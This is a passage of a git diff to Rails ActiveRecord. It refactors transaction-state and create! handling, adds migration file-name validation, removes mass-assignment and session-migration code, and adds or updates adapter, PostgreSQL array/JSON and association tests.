def restore_transaction_record_state(force = false) #:nodoc:
- if defined?(@_start_transaction_state)
+ unless @_start_transaction_state.empty?
@_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
if @_start_transaction_state[:level] < 1 || force
- restore_state = remove_instance_variable(:@_start_transaction_state)
+ restore_state = @_start_transaction_state
was_frozen = @attributes.frozen?
@attributes = @attributes.dup if was_frozen
@new_record = restore_state[:new_record]
@@ -340,13 +353,14 @@ module ActiveRecord
@attributes_cache.delete(self.class.primary_key)
end
@attributes.freeze if was_frozen
+ @_start_transaction_state.clear
end
end
end
# Determine if a record was created or destroyed in a transaction. State should be one of :new_record or :destroyed.
def transaction_record_state(state) #:nodoc:
- @_start_transaction_state[state] if defined?(@_start_transaction_state)
+ @_start_transaction_state[state]
end
# Determine if a transaction included an action for :create, :update, or :destroy. Used in filtering callbacks.
diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb
index cef2bbd563..ed561bfb3c 100644
--- a/activerecord/lib/active_record/validations.rb
+++ b/activerecord/lib/active_record/validations.rb
@@ -32,11 +32,11 @@ module ActiveRecord
module ClassMethods
# Creates an object just like Base.create but calls <tt>save!</tt> instead of +save+
# so an exception is raised if the record is invalid.
- def create!(attributes = nil, options = {}, &block)
+ def create!(attributes = nil, &block)
if attributes.is_a?(Array)
- attributes.collect { |attr| create!(attr, options, &block) }
+ attributes.collect { |attr| create!(attr, &block) }
else
- object = new(attributes, options)
+ object = new(attributes)
yield(object) if block_given?
object.save!
object
diff --git a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
index f6a432c6e5..a3c274d9b9 100644
--- a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
@@ -7,6 +7,7 @@ module ActiveRecord
def create_migration_file
set_local_assigns!
+ validate_file_name!
migration_template "migration.rb", "db/migrate/#{file_name}.rb"
end
@@ -41,6 +42,14 @@ module ActiveRecord
attribute.name.singularize.foreign_key
end.to_sym
end
+
+ private
+
+ def validate_file_name!
+ unless file_name =~ /^[_a-z0-9]+$/
+ raise IllegalMigrationNameError.new(file_name)
+ end
+ end
end
end
end
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/model.rb b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
index 2cca17b94f..056f55470c 100644
--- a/activerecord/lib/rails/generators/active_record/model/templates/model.rb
+++ b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
@@ -3,10 +3,5 @@ class <%= class_name %> < <%= parent_class_name.classify %>
<% attributes.select {|attr| attr.reference? }.each do |attribute| -%>
belongs_to :<%= attribute.name %><%= ', polymorphic: true' if attribute.polymorphic? %>
<% end -%>
-<% if !accessible_attributes.empty? -%>
- attr_accessible <%= accessible_attributes.map {|a| ":#{a.name}" }.sort.join(', ') %>
-<% else -%>
- # attr_accessible :title, :body
-<% end -%>
end
<% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/session_migration/session_migration_generator.rb b/activerecord/lib/rails/generators/active_record/session_migration/session_migration_generator.rb
deleted file mode 100644
index 75aee4f408..0000000000
--- a/activerecord/lib/rails/generators/active_record/session_migration/session_migration_generator.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require 'rails/generators/active_record'
-
-module ActiveRecord
- module Generators
- class SessionMigrationGenerator < Base
- argument :name, :type => :string, :default => "add_sessions_table"
-
- def create_migration_file
- migration_template "migration.rb", "db/migrate/#{file_name}.rb"
- end
-
- protected
-
- def session_table_name
- current_table_name = ActiveRecord::SessionStore::Session.table_name
- if current_table_name == 'session' || current_table_name == 'sessions'
- current_table_name = ActiveRecord::Base.pluralize_table_names ? 'sessions' : 'session'
- end
- current_table_name
- end
-
- end
- end
-end
diff --git a/activerecord/lib/rails/generators/active_record/session_migration/templates/migration.rb b/activerecord/lib/rails/generators/active_record/session_migration/templates/migration.rb
deleted file mode 100644
index 9ea3248513..0000000000
--- a/activerecord/lib/rails/generators/active_record/session_migration/templates/migration.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class <%= migration_class_name %> < ActiveRecord::Migration
- def change
- create_table :<%= session_table_name %> do |t|
- t.string :session_id, :null => false
- t.text :data
- t.timestamps
- end
-
- add_index :<%= session_table_name %>, :session_id
- add_index :<%= session_table_name %>, :updated_at
- end
-end
diff --git a/activerecord/test/active_record/connection_adapters/fake_adapter.rb b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
index 1199be68eb..59324c4857 100644
--- a/activerecord/test/active_record/connection_adapters/fake_adapter.rb
+++ b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
@@ -36,6 +36,10 @@ module ActiveRecord
def columns(table_name)
@columns[table_name]
end
+
+ def active?
+ true
+ end
end
end
end
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
index 852fc0e26e..93b01a3934 100644
--- a/activerecord/test/cases/adapter_test.rb
+++ b/activerecord/test/cases/adapter_test.rb
@@ -160,4 +160,36 @@ module ActiveRecord
end
end
end
+
+ class AdapterTestWithoutTransaction < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @klass = Class.new(ActiveRecord::Base)
+ @klass.establish_connection 'arunit'
+ @connection = @klass.connection
+ end
+
+ def teardown
+ @klass.remove_connection
+ end
+
+ test "transaction state is reset after a reconnect" do
+ skip "in-memory db doesn't allow reconnect" if in_memory_db?
+
+ @connection.begin_transaction
+ assert @connection.transaction_open?
+ @connection.reconnect!
+ assert !@connection.transaction_open?
+ end
+
+ test "transaction state is reset after a disconnect" do
+ skip "in-memory db doesn't allow disconnect" if in_memory_db?
+
+ @connection.begin_transaction
+ assert @connection.transaction_open?
+ @connection.disconnect!
+ assert !@connection.transaction_open?
+ end
+ end
end
diff --git a/activerecord/test/cases/adapters/mysql/connection_test.rb b/activerecord/test/cases/adapters/mysql/connection_test.rb
index c3f82bc63d..4bccd2cc59 100644
--- a/activerecord/test/cases/adapters/mysql/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql/connection_test.rb
@@ -128,11 +128,12 @@ class MysqlConnectionTest < ActiveRecord::TestCase
assert_equal [["STRICT_ALL_TABLES"]], result.rows
end
- def test_mysql_strict_mode_disabled
+ def test_mysql_strict_mode_disabled_dont_override_global_sql_mode
run_without_connection do |orig_connection|
ActiveRecord::Model.establish_connection(orig_connection.merge({:strict => false}))
- result = ActiveRecord::Model.connection.exec_query "SELECT @@SESSION.sql_mode"
- assert_equal [['']], result.rows
+ global_sql_mode = ActiveRecord::Model.connection.exec_query "SELECT @@GLOBAL.sql_mode"
+ session_sql_mode = ActiveRecord::Model.connection.exec_query "SELECT @@SESSION.sql_mode"
+ assert_equal global_sql_mode.rows, session_sql_mode.rows
end
end
diff --git a/activerecord/test/cases/adapters/mysql2/connection_test.rb b/activerecord/test/cases/adapters/mysql2/connection_test.rb
index 276c499276..c63e4fe5b6 100644
--- a/activerecord/test/cases/adapters/mysql2/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/connection_test.rb
@@ -44,11 +44,12 @@ class MysqlConnectionTest < ActiveRecord::TestCase
assert_equal [["STRICT_ALL_TABLES"]], result.rows
end
- def test_mysql_strict_mode_disabled
+ def test_mysql_strict_mode_disabled_dont_override_global_sql_mode
run_without_connection do |orig_connection|
ActiveRecord::Model.establish_connection(orig_connection.merge({:strict => false}))
- result = ActiveRecord::Model.connection.exec_query "SELECT @@SESSION.sql_mode"
- assert_equal [['']], result.rows
+ global_sql_mode = ActiveRecord::Model.connection.exec_query "SELECT @@GLOBAL.sql_mode"
+ session_sql_mode = ActiveRecord::Model.connection.exec_query "SELECT @@SESSION.sql_mode"
+ assert_equal global_sql_mode.rows, session_sql_mode.rows
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
index 113c27b194..1b4f4a5fc9 100644
--- a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
@@ -3,8 +3,6 @@ require 'cases/helper'
class PostgresqlActiveSchemaTest < ActiveRecord::TestCase
def setup
ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
- alias_method :real_execute, :execute
- remove_method :execute
def execute(sql, name = nil) sql end
end
end
@@ -12,7 +10,6 @@ class PostgresqlActiveSchemaTest < ActiveRecord::TestCase
def teardown
ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
remove_method :execute
- alias_method :execute, :real_execute
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/array_test.rb b/activerecord/test/cases/adapters/postgresql/array_test.rb
new file mode 100644
index 0000000000..8774bf626f
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/array_test.rb
@@ -0,0 +1,98 @@
+# encoding: utf-8
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlArrayTest < ActiveRecord::TestCase
+ class PgArray < ActiveRecord::Base
+ self.table_name = 'pg_arrays'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.transaction do
+ @connection.create_table('pg_arrays') do |t|
+ t.string 'tags', :array => true
+ end
+ end
+ @column = PgArray.columns.find { |c| c.name == 'tags' }
+ end
+
+ def teardown
+ @connection.execute 'drop table if exists pg_arrays'
+ end
+
+ def test_column
+ assert_equal :string, @column.type
+ assert @column.array
+ end
+
+ def test_type_cast_array
+ assert @column
+
+ data = '{1,2,3}'
+ oid_type = @column.instance_variable_get('@oid_type').subtype
+ # we are getting the instance variable in this test, but in the
+ # normal use of string_to_array, it's called from the OID::Array
+ # class and will have the OID instance that will provide the type
+ # casting
+ array = @column.class.string_to_array data, oid_type
+ assert_equal(['1', '2', '3'], array)
+ assert_equal(['1', '2', '3'], @column.type_cast(data))
+
+ assert_equal([], @column.type_cast('{}'))
+ assert_equal([nil], @column.type_cast('{NULL}'))
+ end
+
+ def test_rewrite
+ @connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
+ x = PgArray.first
+ x.tags = ['1','2','3','4']
+ assert x.save!
+ end
+
+ def test_select
+ @connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
+ x = PgArray.first
+ assert_equal(['1','2','3'], x.tags)
+ end
+
+ def test_multi_dimensional
+ assert_cycle([['1','2'],['2','3']])
+ end
+
+ def test_strings_with_quotes
+ assert_cycle(['this has','some "s that need to be escaped"'])
+ end
+
+ def test_strings_with_commas
+ assert_cycle(['this,has','many,values'])
+ end
+
+ def test_strings_with_array_delimiters
+ assert_cycle(['{','}'])
+ end
+
+ def test_strings_with_null_strings
+ assert_cycle(['NULL','NULL'])
+ end
+
+ def test_contains_nils
+ assert_cycle(['1',nil,nil])
+ end
+
+ private
+ def assert_cycle array
+ # test creation
+ x = PgArray.create!(:tags => array)
+ x.reload
+ assert_equal(array, x.tags)
+
+ # test updating
+ x = PgArray.create!(:tags => [])
+ x.tags = array
+ x.save!
+ x.reload
+ assert_equal(array, x.tags)
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/datatype_test.rb b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
index a4d9286d52..c7ce43d71e 100644
--- a/activerecord/test/cases/adapters/postgresql/datatype_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
@@ -51,7 +51,7 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
@connection.execute("INSERT INTO postgresql_numbers (single, double) VALUES (123.456, 123456.789)")
@first_number = PostgresqlNumber.find(1)
- @connection.execute("INSERT INTO postgresql_times (time_interval) VALUES ('1 year 2 days ago')")
+ @connection.execute("INSERT INTO postgresql_times (time_interval, scaled_time_interval) VALUES ('1 year 2 days ago', '3 weeks ago')")
@first_time = PostgresqlTime.find(1)
@connection.execute("INSERT INTO postgresql_network_addresses (cidr_address, inet_address, mac_address) VALUES('192.168.0/24', '172.16.1.254/32', '01:23:45:67:89:0a')")
@@ -70,8 +70,8 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
end
def test_data_type_of_array_types
- assert_equal :string, @first_array.column_for_attribute(:commission_by_quarter).type
- assert_equal :string, @first_array.column_for_attribute(:nicknames).type
+ assert_equal :integer, @first_array.column_for_attribute(:commission_by_quarter).type
+ assert_equal :text, @first_array.column_for_attribute(:nicknames).type
end
def test_data_type_of_tsvector_types
@@ -89,6 +89,7 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
def test_data_type_of_time_types
assert_equal :string, @first_time.column_for_attribute(:time_interval).type
+ assert_equal :string, @first_time.column_for_attribute(:scaled_time_interval).type
end
def test_data_type_of_network_address_types
@@ -111,8 +112,8 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
end
def test_array_values
- assert_equal '{35000,21000,18000,17000}', @first_array.commission_by_quarter
- assert_equal '{foo,bar,baz}', @first_array.nicknames
+ assert_equal [35000,21000,18000,17000], @first_array.commission_by_quarter
+ assert_equal ['foo','bar','baz'], @first_array.nicknames
end
def test_tsvector_values
@@ -142,6 +143,7 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
def test_time_values
assert_equal '-1 years -2 days', @first_time.time_interval
+ assert_equal '-21 days', @first_time.scaled_time_interval
end
def test_network_address_values_ipaddr
@@ -168,7 +170,7 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
end
def test_update_integer_array
- new_value = '{32800,95000,29350,17000}'
+ new_value = [32800,95000,29350,17000]
assert @first_array.commission_by_quarter = new_value
assert @first_array.save
assert @first_array.reload
@@ -180,7 +182,7 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
end
def test_update_text_array
- new_value = '{robby,robert,rob,robbie}'
+ new_value = ['robby','robert','rob','robbie']
assert @first_array.nicknames = new_value
assert @first_array.save
assert @first_array.reload
diff --git a/activerecord/test/cases/adapters/postgresql/json_test.rb b/activerecord/test/cases/adapters/postgresql/json_test.rb
new file mode 100644
index 0000000000..d64037eec0
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/json_test.rb
@@ -0,0 +1,71 @@
+# encoding: utf-8
+
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlJSONTest < ActiveRecord::TestCase
+ class JsonDataType < ActiveRecord::Base
+ self.table_name = 'json_data_type'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ begin
+ @connection.transaction do
+ @connection.create_table('json_data_type') do |t|
+ t.json 'payload', :default => {}
+ end
+ end
+ rescue ActiveRecord::StatementInvalid
+ return skip "do not test on PG without json"
+ end
+ @column = JsonDataType.columns.find { |c| c.name == 'payload' }
+ end
+
+ def teardown
+ @connection.execute 'drop table if exists json_data_type'
+ end
+
+ def test_column
+ assert_equal :json, @column.type
+ end
+
+ def test_type_cast_json
+ assert @column
+
+ data = "{\"a_key\":\"a_value\"}"
+ hash = @column.class.string_to_json data
+ assert_equal({'a_key' => 'a_value'}, hash)
+ assert_equal({'a_key' => 'a_value'}, @column.type_cast(data))
+
+ assert_equal({}, @column.type_cast("{}"))
+ assert_equal({'key'=>nil}, @column.type_cast('{"key": null}'))
+ assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q({"c":"}", "\"a\"":"b \"a b"})))
+ end
+
+ def test_rewrite
+ @connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')"
+ x = JsonDataType.first
+ x.payload = { '"a\'' => 'b' }
+ assert x.save!
+ end
+
+ def test_select
+ @connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')"
+ x = JsonDataType.first
+ assert_equal({'k' => 'v'}, x.payload)
+ end
+
+ def test_select_multikey
+ @connection.execute %q|insert into json_data_type (payload) VALUES ('{"k1":"v1", "k2":"v2", "k3":[1,2,3]}')|
+ x = JsonDataType.first
+ assert_equal({'k1' => 'v1', 'k2' => 'v2', 'k3' => [1,2,3]}, x.payload)
+ end
+
+ def test_null_json
+ @connection.execute %q|insert into json_data_type (payload) VALUES(null)|
+ x = JsonDataType.first
+ assert_equal(nil, x.payload)
+ end
+end
diff --git a/activerecord/test/cases/aggregations_test.rb b/activerecord/test/cases/aggregations_test.rb
index 5bd8f76ba2..48b06a767f 100644
--- a/activerecord/test/cases/aggregations_test.rb
+++ b/activerecord/test/cases/aggregations_test.rb
@@ -114,6 +114,8 @@ class AggregationsTest < ActiveRecord::TestCase
customers(:david).save
customers(:david).reload
assert_nil customers(:david).non_blank_gps_location
+ ensure
+ Customer.gps_conversion_was_run = nil
end
def test_nil_return_from_converter_results_in_failure_when_allow_nil_is_false
diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb
index da4eeb3844..124bf65d3a 100644
--- a/activerecord/test/cases/associations/eager_test.rb
+++ b/activerecord/test/cases/associations/eager_test.rb
@@ -980,6 +980,18 @@ class EagerAssociationTest < ActiveRecord::TestCase
assert_equal posts(:welcome, :thinking), posts
end
+ def test_preload_has_many_with_association_condition_and_default_scope
+ post = Post.create!(:title => 'Beaches', :body => "I like beaches!")
+ Reader.create! :person => people(:david), :post => post
+ LazyReader.create! :person => people(:susan), :post => post
+
+ assert_equal 1, post.lazy_readers.to_a.size
+ assert_equal 2, post.lazy_readers_skimmers_or_not.to_a.size
+
+ post_with_readers = Post.includes(:lazy_readers_skimmers_or_not).find(post.id)
+ assert_equal 2, post_with_readers.lazy_readers_skimmers_or_not.to_a.size
+ end
+
def test_eager_loading_with_conditions_on_string_joined_table_preloads
posts = assert_queries(2) do
Post.all.merge!(:select => 'distinct posts.*', :includes => :author, :joins => "INNER JOIN comments on comments.post_id = posts.id", :where => "comments.body like 'Thank you%'", :order => 'posts.id').to_a
diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb
index bd5a426ca8..da767a2a7e 100644
--- a/activerecord/test/cases/associations/extension_test.rb
+++ b/activerecord/test/cases/associations/extension_test.rb
@@ -40,9 +40,12 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
assert_equal projects(:action_controller), david.projects.find_most_recent
marshalled = Marshal.dump(david)
- david = Marshal.load(marshalled)
- assert_equal projects(:action_controller), david.projects.find_most_recent
+ # Marshaling an association shouldn't make it unusable by wiping its reflection.
+ assert_not_nil david.association(:projects).reflection
+
+ david_too = Marshal.load(marshalled)
+ assert_equal projects(:action_controller), david_too.projects.find_most_recent
end
def test_marshalling_named_extensions
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
index 04714f42e9..4b56037a08 100644
--- a/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -46,10 +46,13 @@ class HasManyAssociationsTestForCountWithCountSql < ActiveRecord::TestCase
end
end
-class HasManyAssociationsTestForCountDistinctWithFinderSql < ActiveRecord::TestCase
+class HasManyAssociationsTestForCountWithVariousFinderSqls < ActiveRecord::TestCase
class Invoice < ActiveRecord::Base
ActiveSupport::Deprecation.silence do
has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT DISTINCT line_items.amount from line_items"
+ has_many :custom_full_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.invoice_id, line_items.amount from line_items"
+ has_many :custom_star_line_items, :class_name => 'LineItem', :finder_sql => "SELECT * from line_items"
+ has_many :custom_qualified_star_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.* from line_items"
end
end
@@ -61,6 +64,33 @@ class HasManyAssociationsTestForCountDistinctWithFinderSql < ActiveRecord::TestC
assert_equal 1, invoice.custom_line_items.count
end
+
+ def test_should_count_results_with_multiple_fields
+ invoice = Invoice.new
+ invoice.custom_full_line_items << LineItem.new(:amount => 0)
+ invoice.custom_full_line_items << LineItem.new(:amount => 0)
+ invoice.save!
+
+ assert_equal 2, invoice.custom_full_line_items.count
+ end
+
+ def test_should_count_results_with_star
+ invoice = Invoice.new
+ invoice.custom_star_line_items << LineItem.new(:amount => 0)
+ invoice.custom_star_line_items << LineItem.new(:amount => 0)
+ invoice.save!
+
+ assert_equal 2, invoice.custom_star_line_items.count
+ end
+
+ def test_should_count_results_with_qualified_star
+ invoice = Invoice.new
+ invoice.custom_qualified_star_line_items << LineItem.new(:amount => 0)
+ invoice.custom_qualified_star_line_items << LineItem.new(:amount => 0)
+ invoice.save!
+
+ assert_equal 2, invoice.custom_qualified_star_line_items.count
+ end
end
class HasManyAssociationsTestForReorderWithJoinDependency < ActiveRecord::TestCase
@@ -158,28 +188,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal invoice.id, line_item.invoice_id
end
- def test_association_conditions_bypass_attribute_protection
- car = Car.create(:name => 'honda')
-
- bulb = car.frickinawesome_bulbs.new
- assert_equal true, bulb.frickinawesome?
-
- bulb = car.frickinawesome_bulbs.new(:frickinawesome => false)
- assert_equal true, bulb.frickinawesome?
-
- bulb = car.frickinawesome_bulbs.build
- assert_equal true, bulb.frickinawesome?
-
- bulb = car.frickinawesome_bulbs.build(:frickinawesome => false)
- assert_equal true, bulb.frickinawesome?
-
- bulb = car.frickinawesome_bulbs.create
- assert_equal true, bulb.frickinawesome?
-
- bulb = car.frickinawesome_bulbs.create(:frickinawesome => false)
- assert_equal true, bulb.frickinawesome?
- end
-
# When creating objects on the association, we must not do it within a scope (even though it
# would be convenient), because this would cause that scope to be applied to any callbacks etc.
def test_build_and_create_should_not_happen_within_scope
@@ -1550,19 +1558,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal "RED!", car.bulbs.to_a.first.color
end
- def test_new_is_called_with_attributes_and_options
- car = Car.create(:name => 'honda')
-
- bulb = car.bulbs.build
- assert_equal Bulb, bulb.class
-
- bulb = car.bulbs.build(:bulb_type => :custom)
- assert_equal Bulb, bulb.class
-
- bulb = car.bulbs.build({ :bulb_type => :custom }, :as => :admin)
- assert_equal CustomBulb, bulb.class
- end
-
def test_abstract_class_with_polymorphic_has_many
post = SubStiPost.create! :title => "fooo", :body => "baa"
tagging = Tagging.create! :taggable => post
diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb
index 36e5ba9660..d4ceae6f80 100644
--- a/activerecord/test/cases/associations/has_many_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -58,21 +58,6 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert post.reload.people(true).include?(person)
end
- def test_associate_existing_with_strict_mass_assignment_sanitizer
- SecureReader.mass_assignment_sanitizer = :strict
-
- SecureReader.new
-
- post = posts(:thinking)
- person = people(:david)
-
- assert_queries(1) do
- post.secure_people << person
- end
- ensure
- SecureReader.mass_assignment_sanitizer = :logger
- end
-
def test_associate_existing_record_twice_should_add_to_target_twice
post = posts(:thinking)
person = people(:david)
@@ -838,6 +823,11 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
end
end
+ def test_assign_array_to_new_record_builds_join_records
+ c = Category.new(:name => 'Fishing', :authors => [Author.first])
+ assert_equal 1, c.categorizations.size
+ end
+
def test_create_bang_should_raise_exception_when_join_record_has_errors
repair_validations(Categorization) do
Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' }
diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb
index 8bc633f2b5..2d3cb654df 100644
--- a/activerecord/test/cases/associations/has_one_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -446,38 +446,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
assert_equal pirate.id, ship.pirate_id
end
- def test_association_conditions_bypass_attribute_protection
- car = Car.create(:name => 'honda')
-
- bulb = car.build_frickinawesome_bulb
- assert_equal true, bulb.frickinawesome?
-
- bulb = car.build_frickinawesome_bulb(:frickinawesome => false)
- assert_equal true, bulb.frickinawesome?
-
- bulb = car.create_frickinawesome_bulb
- assert_equal true, bulb.frickinawesome?
-
- bulb = car.create_frickinawesome_bulb(:frickinawesome => false)
- assert_equal true, bulb.frickinawesome?
- end
-
- def test_new_is_called_with_attributes_and_options
- car = Car.create(:name => 'honda')
-
- bulb = car.build_bulb
- assert_equal Bulb, bulb.class
-
- bulb = car.build_bulb
- assert_equal Bulb, bulb.class
-
- bulb = car.build_bulb(:bulb_type => :custom)
- assert_equal Bulb, bulb.class
-
- bulb = car.build_bulb({ :bulb_type => :custom }, :as => :admin)
- assert_equal CustomBulb, bulb.class
- end
-
def test_build_with_block
car = Car.create(:name => 'honda')
diff --git a/activerecord/test/cases/associations/join_dependency_test.rb b/activerecord/test/cases/associations/join_dependency_test.rb
new file mode 100644
index 0000000000..08c166dc33
--- /dev/null
+++ b/activerecord/test/cases/associations/join_dependency_test.rb
@@ -0,0 +1,8 @@
+require "cases/helper"
+require 'models/edge'
+
+class JoinDependencyTest < ActiveRecord::TestCase
+ def test_column_names_with_alias_handles_nil_primary_key
+ assert_equal Edge.column_names, ActiveRecord::Associations::JoinDependency::JoinBase.new(Edge).column_names_with_alias.map(&:first)
+ end
+end \ No newline at end of file
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
index 4bc68acd13..d08b157011 100644
--- a/activerecord/test/cases/attribute_methods_test.rb
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -395,7 +395,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
def test_query_attribute_with_custom_fields
object = Company.find_by_sql(<<-SQL).first
- SELECT c1.*, c2.ruby_type as string_value, c2.rating as int_value
+ SELECT c1.*, c2.type as string_value, c2.rating as int_value
FROM companies c1, companies c2
WHERE c1.firm_id = c2.id
AND c1.id = 2
@@ -542,10 +542,10 @@ class AttributeMethodsTest < ActiveRecord::TestCase
val = t.send attr_name unless attr_name == "type"
if attribute_gets_cached
assert cached_columns.include?(attr_name)
- assert_equal val, cache[attr_name]
+ assert_equal val, cache[attr_name.to_sym]
else
assert uncached_columns.include?(attr_name)
- assert !cache.include?(attr_name)
+ assert !cache.include?(attr_name.to_sym)
end
end
end
@@ -729,11 +729,6 @@ class AttributeMethodsTest < ActiveRecord::TestCase
Object.send(:undef_method, :title) # remove test method from object
end
- def test_list_of_serialized_attributes
- assert_equal %w(content), Topic.serialized_attributes.keys
- assert_equal %w(preferences), Contact.serialized_attributes.keys
- end
-
def test_instance_method_should_be_defined_on_the_base_class
subklass = Class.new(Topic)
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
index 04b1d75e3e..fbfdd0f07a 100644
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -26,7 +26,6 @@ require 'models/bird'
require 'models/teapot'
require 'rexml/document'
require 'active_support/core_ext/exception'
-require 'bcrypt'
class FirstAbstractClass < ActiveRecord::Base
self.abstract_class = true
@@ -56,10 +55,6 @@ class ReadonlyTitlePost < Post
attr_readonly :title
end
-class ProtectedTitlePost < Post
- attr_protected :title
-end
-
class Weird < ActiveRecord::Base; end
class Boolean < ActiveRecord::Base
@@ -467,13 +462,13 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_singular_table_name_guesses_for_individual_table
- CreditCard.pluralize_table_names = false
- CreditCard.reset_table_name
- assert_equal "credit_card", CreditCard.table_name
+ Post.pluralize_table_names = false
+ Post.reset_table_name
+ assert_equal "post", Post.table_name
assert_equal "categories", Category.table_name
ensure
- CreditCard.pluralize_table_names = true
- CreditCard.reset_table_name
+ Post.pluralize_table_names = true
+ Post.reset_table_name
end
if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
@@ -604,6 +599,12 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal "changed", post.body
end
+ def test_attr_readonly_is_class_level_setting
+ post = ReadonlyTitlePost.new
+ assert_raise(NoMethodError) { post._attr_readonly = [:title] }
+ assert_deprecated { post._attr_readonly }
+ end
+
def test_non_valid_identifier_column_name
weird = Weird.create('a$b' => 'value')
weird.reload
@@ -965,6 +966,18 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
end
+ def test_attributes_on_dummy_time_with_invalid_time
+ # Oracle, and Sybase do not have a TIME datatype.
+ return true if current_adapter?(:OracleAdapter, :SybaseAdapter)
+
+ attributes = {
+ "bonus_time" => "not a time"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_nil topic.bonus_time
+ end
+
def test_boolean
b_nil = Boolean.create({ "value" => nil })
nil_id = b_nil.id
@@ -1291,195 +1304,6 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal 0, replies.size
end
- MyObject = Struct.new :attribute1, :attribute2
-
- def test_serialized_attribute
- Topic.serialize("content", MyObject)
-
- myobj = MyObject.new('value1', 'value2')
- topic = Topic.create("content" => myobj)
- assert_equal(myobj, topic.content)
-
- topic.reload
- assert_equal(myobj, topic.content)
- end
-
- def test_serialized_attribute_in_base_class
- Topic.serialize("content", Hash)
-
- hash = { 'content1' => 'value1', 'content2' => 'value2' }
- important_topic = ImportantTopic.create("content" => hash)
- assert_equal(hash, important_topic.content)
-
- important_topic.reload
- assert_equal(hash, important_topic.content)
- end
-
- # This test was added to fix GH #4004. Obviously the value returned
- # is not really the value 'before type cast' so we should maybe think
- # about changing that in the future.
- def test_serialized_attribute_before_type_cast_returns_unserialized_value
- klass = Class.new(ActiveRecord::Base)
- klass.table_name = "topics"
- klass.serialize :content, Hash
-
- t = klass.new(:content => { :foo => :bar })
